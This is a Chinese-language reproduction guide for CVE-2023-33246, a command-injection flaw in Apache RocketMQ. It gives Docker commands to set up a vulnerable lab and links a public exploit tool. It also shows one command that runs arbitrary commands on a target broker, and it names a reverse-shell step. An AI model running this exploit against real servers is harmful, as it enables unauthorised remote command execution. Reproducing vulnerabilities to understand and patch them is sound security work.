RocketMQ
RocketMQ是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。它是阿里巴巴双十一购物狂欢节和众多大规模互联网业务场景的必备基础设施。
漏洞概述
在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项,并通过配置项中存在的命令注入功能执行任意命令。
影响范围
- Apache RocketMQ <= 5.1.0
- Apache RocketMQ <= 4.9.5
漏洞复现
环境搭建
1. 下载镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
2. 启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
3. 启动broker服务
#1.创建broker文件目录
mkdir -p /NDTSec/rocketmq/conf/
#2.创建broker.conf文件
vim /NDTSec/rocketmq/conf/broker.conf
#3.将下面内容复制粘贴到broker.conf配置文件中:
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
#4.启动broker
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /NDTSec/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
4. 启动console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876 -Dcom.rocketmq.sendMessageWithVIPChannel=false" -t apacherocketmq/rocketmq-console:2.0.0
访问8899端口
漏洞利用
1. dnslog测试
脚本:https://github.com/SuperZero/CVE-2023-33246
java -jar CVE-2023-33246.jar -ip "192.168.125.158" -cmd "命令"
2. 反弹shell
修复建议
建议您更新当前系统或软件至最新版,完成漏洞的修复。